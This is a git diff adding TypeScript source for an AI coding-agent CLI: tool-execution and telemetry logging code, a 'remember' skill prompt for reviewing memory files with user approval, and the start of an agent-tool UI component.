+  // (Don't overwrite if undefined - processedInput may have been modified by passthrough hooks)
+  if (permissionDecision.updatedInput !== undefined) {
+    processedInput = permissionDecision.updatedInput
+  }
+
+  // Prepare tool parameters for logging in tool_result event.
+  // Gated by OTEL_LOG_TOOL_DETAILS — tool parameters can contain sensitive
+  // content (bash commands, MCP server names, etc.) so they're opt-in only.
+  const telemetryToolInput = extractToolInputForTelemetry(processedInput)
+  let toolParameters: Record<string, unknown> = {}
+  if (isToolDetailsLoggingEnabled()) {
+    if (tool.name === BASH_TOOL_NAME && 'command' in processedInput) {
+      const bashInput = processedInput as BashToolInput
+      const commandParts = bashInput.command.trim().split(/\s+/)
+      const bashCommand = commandParts[0] || ''
+
+      toolParameters = {
+        bash_command: bashCommand,
+        full_command: bashInput.command,
+        ...(bashInput.timeout !== undefined && {
+          timeout: bashInput.timeout,
+        }),
+        ...(bashInput.description !== undefined && {
+          description: bashInput.description,
+        }),
+        ...('dangerouslyDisableSandbox' in bashInput && {
+          dangerouslyDisableSandbox: bashInput.dangerouslyDisableSandbox,
+        }),
+      }
+    }
+
+    const mcpDetails = extractMcpToolDetails(tool.name)
+    if (mcpDetails) {
+      toolParameters.mcp_server_name = mcpDetails.serverName
+      toolParameters.mcp_tool_name = mcpDetails.mcpToolName
+    }
+    const skillName = extractSkillName(tool.name, processedInput)
+    if (skillName) {
+      toolParameters.skill_name = skillName
+    }
+  }
+
+  const decisionInfo = toolUseContext.toolDecisions?.get(toolUseID)
+  endToolBlockedOnUserSpan(
+    decisionInfo?.decision || 'unknown',
+    decisionInfo?.source || 'unknown',
+  )
+  startToolExecutionSpan()
+
+  const startTime = Date.now()
+
+  startSessionActivity('tool_exec')
+  // If processedInput still points at the backfill clone, no hook/permission
+  // replaced it — pass the pre-backfill callInput so call() sees the model's
+  // original field values. Otherwise converge on the hook-supplied input.
+  // Permission/hook flows may return a fresh object derived from the
+  // backfilled clone (e.g. via inputSchema.parse). If its file_path matches
+  // the backfill-expanded value, restore the model's original so the tool
+  // result string embeds the path the model emitted — keeps transcript/VCR
+  // hashes stable. Other hook modifications flow through unchanged.
+  if (
+    backfilledClone &&
+    processedInput !== callInput &&
+    typeof processedInput === 'object' &&
+    processedInput !== null &&
+    'file_path' in processedInput &&
+    'file_path' in (callInput as Record<string, unknown>) &&
+    (processedInput as Record<string, unknown>).file_path ===
+      (backfilledClone as Record<string, unknown>).file_path
+  ) {
+    callInput = {
+      ...processedInput,
+      file_path: (callInput as Record<string, unknown>).file_path,
+    } as typeof processedInput
+  } else if (processedInput !== backfilledClone) {
+    callInput = processedInput
+  }
+  try {
+    const result = await tool.call(
+      callInput,
+      {
+        ...toolUseContext,
+        toolUseId: toolUseID,
+        userModified: permissionDecision.userModified ?? false,
+      },
+      canUseTool,
+      assistantMessage,
+      progress => {
+        onToolProgress({
+          toolUseID: progress.toolUseID,
+          data: progress.data,
+        })
+      },
+    )
+    const durationMs = Date.now() - startTime
+    addToToolDuration(durationMs)
+
+    // Log tool content/output as span event if enabled
+    if (result.data && typeof result.data === 'object') {
+      const contentAttributes: Record<string, string | number | boolean> = {}
+
+      // Read tool: capture file_path and content
+      if (tool.name === FILE_READ_TOOL_NAME && 'content' in result.data) {
+        if ('file_path' in processedInput) {
+          contentAttributes.file_path = String(processedInput.file_path)
+        }
+        contentAttributes.content = String(result.data.content)
+      }
+
+      // Edit/Write tools: capture file_path and diff
+      if (
+        (tool.name === FILE_EDIT_TOOL_NAME ||
+          tool.name === FILE_WRITE_TOOL_NAME) &&
+        'file_path' in processedInput
+      ) {
+        contentAttributes.file_path = String(processedInput.file_path)
+
+        // For Edit, capture the actual changes made
+        if (tool.name === FILE_EDIT_TOOL_NAME && 'diff' in result.data) {
+          contentAttributes.diff = String(result.data.diff)
+        }
+        // For Write, capture the written content
+        if (tool.name === FILE_WRITE_TOOL_NAME && 'content' in processedInput) {
+          contentAttributes.content = String(processedInput.content)
+        }
+      }
+
+      // Bash tool: capture command
+      if (tool.name === BASH_TOOL_NAME && 'command' in processedInput) {
+        const bashInput = processedInput as BashToolInput
+        contentAttributes.bash_command = bashInput.command
+        // Also capture output if available
+        if ('output' in result.data) {
+          contentAttributes.output = String(result.data.output)
+        }
+      }
+
+      if (Object.keys(contentAttributes).length > 0) {
+        addToolContentEvent('tool.output', contentAttributes)
+      }
+    }
+
+    // Capture structured output from tool result if present
+    if (typeof result === 'object' && 'structured_output' in result) {
+      // Store the structured output in an attachment message
+      resultingMessages.push({
+        message: createAttachmentMessage({
+          type: 'structured_output',
+          data: result.structured_output,
+        }),
+      })
+    }
+
+    endToolExecutionSpan({ success: true })
+    // Pass tool result for new_context logging
+    const toolResultStr =
+      result.data && typeof result.data === 'object'
+        ? jsonStringify(result.data)
+        : String(result.data ?? '')
+    endToolSpan(toolResultStr)
+
+    // Map the tool result to API format once and cache it. This block is reused
+    // by addToolResult (skipping the remap) and measured here for analytics.
+    const mappedToolResultBlock = tool.mapToolResultToToolResultBlockParam(
+      result.data,
+      toolUseID,
+    )
+    const mappedContent = mappedToolResultBlock.content
+    const toolResultSizeBytes = !mappedContent
+      ? 0
+      : typeof mappedContent === 'string'
+        ? mappedContent.length
+        : jsonStringify(mappedContent).length
+
+    // Extract file extension for file-related tools
+    let fileExtension: ReturnType<typeof getFileExtensionForAnalytics>
+    if (processedInput && typeof processedInput === 'object') {
+      if (
+        (tool.name === FILE_READ_TOOL_NAME ||
+          tool.name === FILE_EDIT_TOOL_NAME ||
+          tool.name === FILE_WRITE_TOOL_NAME) &&
+        'file_path' in processedInput
+      ) {
+        fileExtension = getFileExtensionForAnalytics(
+          String(processedInput.file_path),
+        )
+      } else if (
+        tool.name === NOTEBOOK_EDIT_TOOL_NAME &&
+        'notebook_path' in processedInput
+      ) {
+        fileExtension = getFileExtensionForAnalytics(
+          String(processedInput.notebook_path),
+        )
+      } else if (tool.name === BASH_TOOL_NAME && 'command' in processedInput) {
+        const bashInput = processedInput as BashToolInput
+        fileExtension = getFileExtensionsFromBashCommand(
+          bashInput.command,
+          bashInput._simulatedSedEdit?.filePath,
+        )
+      }
+    }
+
+    logEvent('tengu_tool_use_success', {
+      messageID:
+        messageId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      toolName: sanitizeToolNameForAnalytics(tool.name),
+      isMcp: tool.isMcp ?? false,
+      durationMs,
+      preToolHookDurationMs,
+      toolResultSizeBytes,
+      ...(fileExtension !== undefined && { fileExtension }),
+
+      queryChainId: toolUseContext.queryTracking
+        ?.chainId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      queryDepth: toolUseContext.queryTracking?.depth,
+      ...(mcpServerType && {
+        mcpServerType:
+          mcpServerType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      }),
+      ...(mcpServerBaseUrl && {
+        mcpServerBaseUrl:
+          mcpServerBaseUrl as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      }),
+      ...(requestId && {
+        requestId:
+          requestId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+      }),
+      ...mcpToolDetailsForAnalytics(tool.name, mcpServerType, mcpServerBaseUrl),
+    })
+
+    // Enrich tool parameters with git commit ID from successful git commit output
+    if (
+      isToolDetailsLoggingEnabled() &&
+      (tool.name === BASH_TOOL_NAME || tool.name === POWERSHELL_TOOL_NAME) &&
+      'command' in processedInput &&
+      typeof processedInput.command === 'string' &&
+      processedInput.command.match(/\bgit\s+commit\b/) &&
+      result.data &&
+      typeof result.data === 'object' &&
+      'stdout' in result.data
+    ) {
+      const gitCommitId = parseGitCommitId(String(result.data.stdout))
+      if (gitCommitId) {
+        toolParameters.git_commit_id = gitCommitId
+      }
+    }
+
+    // Log tool result event for OTLP with tool parameters and decision context
+    const mcpServerScope = isMcpTool(tool)
+      ? getMcpServerScopeFromToolName(tool.name)
+      : null
+
+    void logOTelEvent('tool_result', {
+      tool_name: sanitizeToolNameForAnalytics(tool.name),
+      success: 'true',
+      duration_ms: String(durationMs),
+      ...(Object.keys(toolParameters).length > 0 && {
+        tool_parameters: jsonStringify(toolParameters),
+      }),
+      ...(telemetryToolInput && { tool_input: telemetryToolInput }),
+      tool_result_size_bytes: String(toolResultSizeBytes),
+      ...(decisionInfo && {
+        decision_source: decisionInfo.source,
+        decision_type: decisionInfo.decision,
+      }),
+      ...(mcpServerScope && { mcp_server_scope: mcpServerScope }),
+    })
+
+    // Run PostToolUse hooks
+    let toolOutput = result.data
+    const hookResults = []
+    const toolContextModifier = result.contextModifier
+    const mcpMeta = result.mcpMeta
+
+    async function addToolResult(
+      toolUseResult: unknown,
+      preMappedBlock?: ToolResultBlockParam,
+    ) {
+      // Use the pre-mapped block when available (non-MCP tools where hooks
+      // don't modify the output), otherwise map from scratch.
+      const toolResultBlock = preMappedBlock
+        ? await processPreMappedToolResultBlock(
+            preMappedBlock,
+            tool.name,
+            tool.maxResultSizeChars,
+          )
+        : await processToolResultBlock(tool, toolUseResult, toolUseID)
+
+      // Build content blocks - tool result first, then optional feedback
+      const contentBlocks: ContentBlockParam[] = [toolResultBlock]
+      // Add accept feedback if user provided feedback when approving
+      // (acceptFeedback only exists on PermissionAllowDecision, which is guaranteed here)
+      if (
+        'acceptFeedback' in permissionDecision &&
+        permissionDecision.acceptFeedback
+      ) {
+        contentBlocks.push({
+          type: 'text',
+          text: permissionDecision.acceptFeedback,
+        })
+      }
+
+      // Add content blocks (e.g., pasted images) from the permission decision
+      const allowContentBlocks =
+        'contentBlocks' in permissionDecision
+          ? permissionDecision.contentBlocks
+          : undefined
+      if (allowContentBlocks?.length) {
+        contentBlocks.push(...allowContentBlocks)
+      }
+
+      // Generate sequential imagePasteIds so each image renders with a distinct label
+      let allowImageIds: number[] | undefined
+      if (allowContentBlocks?.length) {
+        const imageCount = count(
+          allowContentBlocks,
+          (b: ContentBlockParam) => b.type === 'image',
+        )
+        if (imageCount > 0) {
+          const startId = getNextImagePasteId(toolUseContext.messages)
+          allowImageIds = Array.from(
+            { length: imageCount },
+            (_, i) => startId + i,
+          )
+        }
+      }
+
+      resultingMessages.push({
+        message: createUserMessage({
+          content: contentBlocks,
+          imagePasteIds: allowImageIds,
+          toolUseResult:
+            toolUseContext.agentId && !toolUseContext.preserveToolUseResults
+              ? undefined
+              : toolUseResult,
+          mcpMeta: toolUseContext.agentId ? undefined : mcpMeta,
+          sourceToolAssistantUUID: assistantMessage.uuid,
+        }),
+        contextModifier: toolContextModifier
+          ? {
+              toolUseID: toolUseID,
+              modifyContext: toolContextModifier,
+            }
+          : undefined,
+      })
+    }
+
+    // TOOD(hackyon): refactor so we don't have different experiences for MCP tools
+    if (!isMcpTool(tool)) {
+      await addToolResult(toolOutput, mappedToolResultBlock)
+    }
+
+    const postToolHookInfos: StopHookInfo[] = []
+    const postToolHookStart = Date.now()
+    for await (const hookResult of runPostToolUseHooks(
+      toolUseContext,
+      tool,
+      toolUseID,
+      assistantMessage.message.id,
+      processedInput,
+      toolOutput,
+      requestId,
+      mcpServerType,
+      mcpServerBaseUrl,
+    )) {
+      if ('updatedMCPToolOutput' in hookResult) {
+        if (isMcpTool(tool)) {
+          toolOutput = hookResult.updatedMCPToolOutput
+        }
+      } else if (isMcpTool(tool)) {
+        hookResults.push(hookResult)
+        if (hookResult.message.type === 'attachment') {
+          const att = hookResult.message.attachment
+          if (
+            'command' in att &&
+            att.command !== undefined &&
+            'durationMs' in att &&
+            att.durationMs !== undefined
+          ) {
+            postToolHookInfos.push({
+              command: att.command,
+              durationMs: att.durationMs,
+            })
+          }
+        }
+      } else {
+        resultingMessages.push(hookResult)
+        if (hookResult.message.type === 'attachment') {
+          const att = hookResult.message.attachment
+          if (
+            'command' in att &&
+            att.command !== undefined &&
+            'durationMs' in att &&
+            att.durationMs !== undefined
+          ) {
+            postToolHookInfos.push({
+              command: att.command,
+              durationMs: att.durationMs,
+            })
+          }
+        }
+      }
+    }
+    const postToolHookDurationMs = Date.now() - postToolHookStart
+    if (postToolHookDurationMs >= SLOW_PHASE_LOG_THRESHOLD_MS) {
+      logForDebugging(
+        `Slow PostToolUse hooks: ${postToolHookDurationMs}ms for ${tool.name} (${postToolHookInfos.length} hooks)`,
+        { level: 'info' },
+      )
+    }
+
+    if (isMcpTool(tool)) {
+      await addToolResult(toolOutput)
+    }
+
+    // Show PostToolUse hook timing inline below tool result when > 500ms.
+    // Use wall-clock time (not sum of individual durations) since hooks run in parallel.
+    if (process.env.USER_TYPE === 'ant' && postToolHookInfos.length > 0) {
+      if (postToolHookDurationMs > HOOK_TIMING_DISPLAY_THRESHOLD_MS) {
+        resultingMessages.push({
+          message: createStopHookSummaryMessage(
+            postToolHookInfos.length,
+            postToolHookInfos,
+            [],
+            false,
+            undefined,
+            false,
+            'suggestion',
+            undefined,
+            'PostToolUse',
+            postToolHookDurationMs,
+          ),
+        })
+      }
+    }
+
+    // If the tool provided new messages, add them to the list to return.
+    if (result.newMessages && result.newMessages.length > 0) {
+      for (const message of result.newMessages) {
+        resultingMessages.push({ message })
+      }
+    }
+    // If hook indicated to prevent continuation after successful execution, yield a stop reason message
+    if (shouldPreventContinuation) {
+      resultingMessages.push({
+        message: createAttachmentMessage({
+          type: 'hook_stopped_continuation',
+          message: stopReason || 'Execution stopped by hook',
+          hookName: `PreToolUse:${tool.name}`,
+          toolUseID: toolUseID,
+          hookEvent: 'PreToolUse',
+        }),
+      })
+    }
+
+    // Yield the remaining hook results after the other messages are sent
+    for (const hookResult of hookResults) {
+      resultingMessages.push(hookResult)
+    }
+    return resultingMessages
+  } catch (error) {
+    const durationMs = Date.now() - startTime
+    addToToolDuration(durationMs)
+
+    endToolExecutionSpan({
+      success: false,
+      error: errorMessage(error),
+    })
+    endToolSpan()
+
+    // Handle MCP auth errors by updating the client status to 'needs-auth'
+    // This updates the /mcp display to show the server needs re-authorization
+    if (error instanceof McpAuthError) {
+      toolUseContext.setAppState(prevState => {
+        const serverName = error.serverName
+        const existingClientIndex = prevState.mcp.clients.findIndex(
+          c => c.name === serverName,
+        )
+        if (existingClientIndex === -1) {
+          return prevState
+        }
+        const existingClient = prevState.mcp.clients[existingClientIndex]
+        // Only update if client was connected (don't overwrite other states)
+        if (!existingClient || existingClient.type !== 'connected') {
+          return prevState
+        }
+        const updatedClients = [...prevState.mcp.clients]
+        updatedClients[existingClientIndex] = {
+          name: serverName,
+          type: 'needs-auth' as const,
+          config: existingClient.config,
+        }
+        return {
+          ...prevState,
+          mcp: {
+            ...prevState.mcp,
+            clients: updatedClients,
+          },
+        }
+      })
+    }
+
+    if (!(error instanceof AbortError)) {
+      const errorMsg = errorMessage(error)
+      logForDebugging(
+        `${tool.name} tool error (${durationMs}ms): ${errorMsg.slice(0, 200)}`,
+      )
+      if (!(error instanceof ShellError)) {
+        logError(error)
+      }
+      logEvent('tengu_tool_use_error', {
+        messageID:
+          messageId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        toolName: sanitizeToolNameForAnalytics(tool.name),
+        error: classifyToolError(
+          error,
+        ) as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        isMcp: tool.isMcp ?? false,
+
+        queryChainId: toolUseContext.queryTracking
+          ?.chainId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        queryDepth: toolUseContext.queryTracking?.depth,
+        ...(mcpServerType && {
+          mcpServerType:
+            mcpServerType as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        }),
+        ...(mcpServerBaseUrl && {
+          mcpServerBaseUrl:
+            mcpServerBaseUrl as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        }),
+        ...(requestId && {
+          requestId:
+            requestId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        }),
+        ...mcpToolDetailsForAnalytics(
+          tool.name,
+          mcpServerType,
+          mcpServerBaseUrl,
+        ),
+      })
+      // Log tool result error event for OTLP with tool parameters and decision context
+      const mcpServerScope = isMcpTool(tool)
+        ? getMcpServerScopeFromToolName(tool.name)
+        : null
+
+      void logOTelEvent('tool_result', {
+        tool_name: sanitizeToolNameForAnalytics(tool.name),
+        use_id: toolUseID,
+        success: 'false',
+        duration_ms: String(durationMs),
+        error: errorMessage(error),
+        ...(Object.keys(toolParameters).length > 0 && {
+          tool_parameters: jsonStringify(toolParameters),
+        }),
+        ...(telemetryToolInput && { tool_input: telemetryToolInput }),
+        ...(decisionInfo && {
+          decision_source: decisionInfo.source,
+          decision_type: decisionInfo.decision,
+        }),
+        ...(mcpServerScope && { mcp_server_scope: mcpServerScope }),
+      })
+    }
+    const content = formatError(error)
+
+    // Determine if this was a user interrupt
+    const isInterrupt = error instanceof AbortError
+
+    // Run PostToolUseFailure hooks
+    const hookMessages: MessageUpdateLazy<
+      AttachmentMessage | ProgressMessage<HookProgress>
+    >[] = []
+    for await (const hookResult of runPostToolUseFailureHooks(
+      toolUseContext,
+      tool,
+      toolUseID,
+      messageId,
+      processedInput,
+      content,
+      isInterrupt,
+      requestId,
+      mcpServerType,
+      mcpServerBaseUrl,
+    )) {
+      hookMessages.push(hookResult)
+    }
+
+    return [
+      {
+        message: createUserMessage({
+          content: [
+            {
+              type: 'tool_result',
+              content,
+              is_error: true,
+              tool_use_id: toolUseID,
+            },
+          ],
+          toolUseResult: `Error: ${content}`,
+          mcpMeta: toolUseContext.agentId
+            ? undefined
+            : error instanceof
+                McpToolCallError_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS
+              ? error.mcpMeta
+              : undefined,
+          sourceToolAssistantUUID: assistantMessage.uuid,
+        }),
+      },
+      ...hookMessages,
+    ]
+  } finally {
+    stopSessionActivity('tool_exec')
+    // Clean up decision info after logging
+    if (decisionInfo) {
+      toolUseContext.toolDecisions?.delete(toolUseID)
+    }
+  }
+}
diff --git a/_all-in-one-upload/cc-haha/src/skills/bundled/claude-api/go/claude-api.md b/_all-in-one-upload/cc-haha/src/skills/bundled/claude-api/go/claude-api.md
new file mode 100644
index 0000000..7a4d285
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/skills/bundled/claude-api/go/claude-api.md
@@ -0,0 +1,2 @@
+<!-- @generated stub from scan-missing-imports -->
+stub
diff --git a/_all-in-one-upload/cc-haha/src/skills/bundled/remember.ts b/_all-in-one-upload/cc-haha/src/skills/bundled/remember.ts
new file mode 100644
index 0000000..40bd1a9
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/skills/bundled/remember.ts
@@ -0,0 +1,82 @@
+import { isAutoMemoryEnabled } from '../../memdir/paths.js'
+import { registerBundledSkill } from '../bundledSkills.js'
+
+export function registerRememberSkill(): void {
+  if (process.env.USER_TYPE !== 'ant') {
+    return
+  }
+
+  const SKILL_PROMPT = `# Memory Review
+
+## Goal
+Review the user's memory landscape and produce a clear report of proposed changes, grouped by action type. Do NOT apply changes — present proposals for user approval.
+
+## Steps
+
+### 1. Gather all memory layers
+Read CLAUDE.md and CLAUDE.local.md from the project root (if they exist). Your auto-memory content is already in your system prompt — review it there. Note which team memory sections exist, if any.
+
+**Success criteria**: You have the contents of all memory layers and can compare them.
+
+### 2. Classify each auto-memory entry
+For each substantive entry in auto-memory, determine the best destination:
+
+| Destination | What belongs there | Examples |
+|---|---|---|
+| **CLAUDE.md** | Project conventions and instructions for Claude that all contributors should follow | "use bun not npm", "API routes use kebab-case", "test command is bun test", "prefer functional style" |
+| **CLAUDE.local.md** | Personal instructions for Claude specific to this user, not applicable to other contributors | "I prefer concise responses", "always explain trade-offs", "don't auto-commit", "run tests before committing" |
+| **Team memory** | Org-wide knowledge that applies across repositories (only if team memory is configured) | "deploy PRs go through #deploy-queue", "staging is at staging.internal", "platform team owns infra" |
+| **Stay in auto-memory** | Working notes, temporary context, or entries that don't clearly fit elsewhere | Session-specific observations, uncertain patterns |
+
+**Important distinctions:**
+- CLAUDE.md and CLAUDE.local.md contain instructions for Claude, not user preferences for external tools (editor theme, IDE keybindings, etc. don't belong in either)
+- Workflow practices (PR conventions, merge strategies, branch naming) are ambiguous — ask the user whether they're personal or team-wide
+- When unsure, ask rather than guess
+
+**Success criteria**: Each entry has a proposed destination or is flagged as ambiguous.
+
+### 3. Identify cleanup opportunities
+Scan across all layers for:
+- **Duplicates**: Auto-memory entries already captured in CLAUDE.md or CLAUDE.local.md → propose removing from auto-memory
+- **Outdated**: CLAUDE.md or CLAUDE.local.md entries contradicted by newer auto-memory entries → propose updating the older layer
+- **Conflicts**: Contradictions between any two layers → propose resolution, noting which is more recent
+
+**Success criteria**: All cross-layer issues identified.
+
+### 4. Present the report
+Output a structured report grouped by action type:
+1. **Promotions** — entries to move, with destination and rationale
+2. **Cleanup** — duplicates, outdated entries, conflicts to resolve
+3. **Ambiguous** — entries where you need the user's input on destination
+4. **No action needed** — brief note on entries that should stay put
+
+If auto-memory is empty, say so and offer to review CLAUDE.md for cleanup.
+
+**Success criteria**: User can review and approve/reject each proposal individually.
+
+## Rules
+- Present ALL proposals before making any changes
+- Do NOT modify files without explicit user approval
+- Do NOT create new files unless the target doesn't exist yet
+- Ask about ambiguous entries — don't guess
+`
+
+  registerBundledSkill({
+    name: 'remember',
+    description:
+      'Review auto-memory entries and propose promotions to CLAUDE.md, CLAUDE.local.md, or shared memory. Also detects outdated, conflicting, and duplicate entries across memory layers.',
+    whenToUse:
+      'Use when the user wants to review, organize, or promote their auto-memory entries. Also useful for cleaning up outdated or conflicting entries across CLAUDE.md, CLAUDE.local.md, and auto-memory.',
+    userInvocable: true,
+    isEnabled: () => isAutoMemoryEnabled(),
+    async getPromptForCommand(args) {
+      let prompt = SKILL_PROMPT
+
+      if (args) {
+        prompt += `\n## Additional context from user\n\n${args}`
+      }
+
+      return [{ type: 'text', text: prompt }]
+    },
+  })
+}
diff --git a/_all-in-one-upload/cc-haha/src/tools/AgentTool/UI.tsx b/_all-in-one-upload/cc-haha/src/tools/AgentTool/UI.tsx
new file mode 100644
index 0000000..497805a
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/tools/AgentTool/UI.tsx
@@ -0,0 +1,872 @@
+import { c as _c } from "react/compiler-runtime";
+import type { ToolResultBlockParam, ToolUseBlockParam } from '@anthropic-ai/sdk/resources/index.mjs';
+import * as React from 'react';
+import { ConfigurableShortcutHint } from 'src/components/ConfigurableShortcutHint.js';
+import { CtrlOToExpand, SubAgentProvider } from 'src/components/CtrlOToExpand.js';
+import { Byline } from 'src/components/design-system/Byline.js';
+import { KeyboardShortcutHint } from 'src/components/design-system/KeyboardShortcutHint.js';
+import type { z } from 'zod/v4';
+import { AgentProgressLine } from '../../components/AgentProgressLine.js';
+import { FallbackToolUseErrorMessage } from '../../components/FallbackToolUseErrorMessage.js';
+import { FallbackToolUseRejectedMessage } from '../../components/FallbackToolUseRejectedMessage.js';
+import { Markdown } from '../../components/Markdown.js';
+import { Message as MessageComponent } from '../../components/Message.js';
+import { MessageResponse } from '../../components/MessageResponse.js';
+import { ToolUseLoader } from '../../components/ToolUseLoader.js';
+import { Box, Text } from '../../ink.js';
+import { getDumpPromptsPath } from '../../services/api/dumpPrompts.js';
+import { findToolByName, type Tools } from '../../Tool.js';
+import type { Message, ProgressMessage } from '../../types/message.js';
+import type { AgentToolProgress } from '../../types/tools.js';
+import { count } from '../../utils/array.js';
+import { getSearchOrReadFromContent, getSearchReadSummaryText } from '../../utils/collapseReadSearch.js';
+import { getDisplayPath } from '../../utils/file.js';
+import { formatDuration, formatNumber } from '../../utils/format.js';
+import { buildSubagentLookups, createAssistantMessage, EMPTY_LOOKUPS } from '../../utils/messages.js';
+import type { ModelAlias } from '../../utils/model/aliases.js';
+import { getMainLoopModel, parseUserSpecifiedModel, renderModelName } from '../../utils/model/model.js';
+import type { Theme, ThemeName } from '../../utils/theme.js';
+import type { outputSchema, Progress, RemoteLaunchedOutput } from './AgentTool.js';
+import { inputSchema } from './AgentTool.js';
+import { getAgentColor } from './agentColorManager.js';
+import { GENERAL_PURPOSE_AGENT } from './built-in/generalPurposeAgent.js';
+const MAX_PROGRESS_MESSAGES_TO_SHOW = 3;
+
+/**
+ * Guard: checks if progress data has a `message` field (agent_progress or
+ * skill_progress).  Other progress types (e.g. bash_progress forwarded from
+ * sub-agents) lack this field and must be skipped by UI helpers.
+ */
+function hasProgressMessage(data: Progress): data is AgentToolProgress {
+  if (!('message' in data)) {
+    return false;
+  }
+  const msg = (data as AgentToolProgress).message;
+  return msg != null && typeof msg === 'object' && 'type' in msg;
+}
+
+/**
+ * Check if a progress message is a search/read/REPL operation (tool use or result).
+ * Returns { isSearch, isRead, isREPL } if it's a collapsible operation, null otherwise.
+ *
+ * For tool_result messages, uses the provided `toolUseByID` map to find the
+ * corresponding tool_use block instead of relying on `normalizedMessages`.
+ */
+function getSearchOrReadInfo(progressMessage: ProgressMessage<Progress>, tools: Tools, toolUseByID: Map<string, ToolUseBlockParam>): {
+  isSearch: boolean;
+  isRead: boolean;
+  isREPL: boolean;
+} | null {
+  if (!hasProgressMessage(progressMessage.data)) {
+    return null;
+  }
+  const message = progressMessage.data.message;
+
+  // Check tool_use (assistant message)
+  if (message.type === 'assistant') {
+    return getSearchOrReadFromContent(message.message.content[0], tools);
+  }
+
+  // Check tool_result (user message) - find corresponding tool use from the map
+  if (message.type === 'user') {
+    const content = message.message.content[0];
+    if (content?.type === 'tool_result') {
+      const toolUse = toolUseByID.get(content.tool_use_id);
+      if (toolUse) {
+        return getSearchOrReadFromContent(toolUse, tools);
+      }
+    }
+  }
+  return null;
+}
+type SummaryMessage = {
+  type: 'summary';
+  searchCount: number;
+  readCount: number;
+  replCount: number;
+  uuid: string;
+  isActive: boolean; // true if still in progress (last message was tool_use, not tool_result)
+};
+type ProcessedMessage = {
+  type: 'original';
+  message: ProgressMessage<AgentToolProgress>;
+} | SummaryMessage;
+
+/**
+ * Process progress messages to group consecutive search/read operations into summaries.
+ * For ants only - returns original messages for non-ants.
+ * @param isAgentRunning - If true, the last group is always marked as active (in progress)
+ */
+function processProgressMessages(messages: ProgressMessage<Progress>[], tools: Tools, isAgentRunning: boolean): ProcessedMessage[] {
+  // Only process for ants
+  if ("external" !== 'ant') {
+    return messages.filter((m): m is ProgressMessage<AgentToolProgress> => hasProgressMessage(m.data) && m.data.message.type !== 'user').map(m => ({
+      type: 'original',
+      message: m
+    }));
+  }
+  const result: ProcessedMessage[] = [];
+  let currentGroup: {
+    searchCount: number;
+    readCount: number;
+    replCount: number;
+    startUuid: string;
+  } | null = null;
+  function flushGroup(isActive: boolean): void {
+    if (currentGroup && (currentGroup.searchCount > 0 || currentGroup.readCount > 0 || currentGroup.replCount > 0)) {
+      result.push({
+        type: 'summary',
+        searchCount: currentGroup.searchCount,
+        readCount: currentGroup.readCount,
+        replCount: currentGroup.replCount,
+        uuid: `summary-${currentGroup.startUuid}`,
+        isActive
+      });
+    }
+    currentGroup = null;
+  }
+  const agentMessages = messages.filter((m): m is ProgressMessage<AgentToolProgress> => hasProgressMessage(m.data));
+
+  // Build tool_use lookup incrementally as we iterate
+  const toolUseByID = new Map<string, ToolUseBlockParam>();
+  for (const msg of agentMessages) {
+    // Track tool_use blocks as we see them
+    if (msg.data.message.type === 'assistant') {
+      for (const c of msg.data.message.message.content) {
+        if (c.type === 'tool_use') {
+          toolUseByID.set(c.id, c as ToolUseBlockParam);
+        }
+      }
+    }
+    const info = getSearchOrReadInfo(msg, tools, toolUseByID);
+    if (info && (info.isSearch || info.isRead || info.isREPL)) {
+      // This is a search/read/REPL operation - add to current group
+      if (!currentGroup) {
+        currentGroup = {
+          searchCount: 0,
+          readCount: 0,
+          replCount: 0,
+          startUuid: msg.uuid
+        };
+      }
+      // Only count tool_result messages (not tool_use) to avoid double counting
+      if (msg.data.message.type === 'user') {
+        if (info.isSearch) {
+          currentGroup.searchCount++;
+        } else if (info.isREPL) {
+          currentGroup.replCount++;
+        } else if (info.isRead) {
+          currentGroup.readCount++;
+        }
+      }
+    } else {
+      // Non-search/read/REPL message - flush current group (completed) and add this message
+      flushGroup(false);
+      // Skip user tool_result messages — subagent progress messages lack
+      // toolUseResult, so UserToolSuccessMessage returns null and the
+      // height=1 Box in renderToolUseProgressMessage shows as a blank line.
+      if (msg.data.message.type !== 'user') {
+        result.push({
+          type: 'original',
+          message: msg
+        });
+      }
+    }
+  }
+
+  // Flush any remaining group - it's active if the agent is still running
+  flushGroup(isAgentRunning);
+  return result;
+}
+const ESTIMATED_LINES_PER_TOOL = 9;
+const TERMINAL_BUFFER_LINES = 7;
+type Output = z.input<ReturnType<typeof outputSchema>>;
+export function AgentPromptDisplay(t0) {
+  const $ = _c(3);
+  const {
+    prompt,
+    dim: t1
+  } = t0;
+  t1 === undefined ? false : t1;
+  let t2;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = <Text color="success" bold={true}>Prompt:</Text>;
+    $[0] = t2;
+  } else {
+    t2 = $[0];
+  }
+  let t3;
+  if ($[1] !== prompt) {
+    t3 = <Box flexDirection="column">{t2}<Box paddingLeft={2}><Markdown>{prompt}</Markdown></Box></Box>;
+    $[1] = prompt;
+    $[2] = t3;
+  } else {
+    t3 = $[2];
+  }
+  return t3;
+}
+export function AgentResponseDisplay(t0) {
+  const $ = _c(5);
+  const {
+    content
+  } = t0;
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = <Text color="success" bold={true}>Response:</Text>;
+    $[0] = t1;
+  } else {
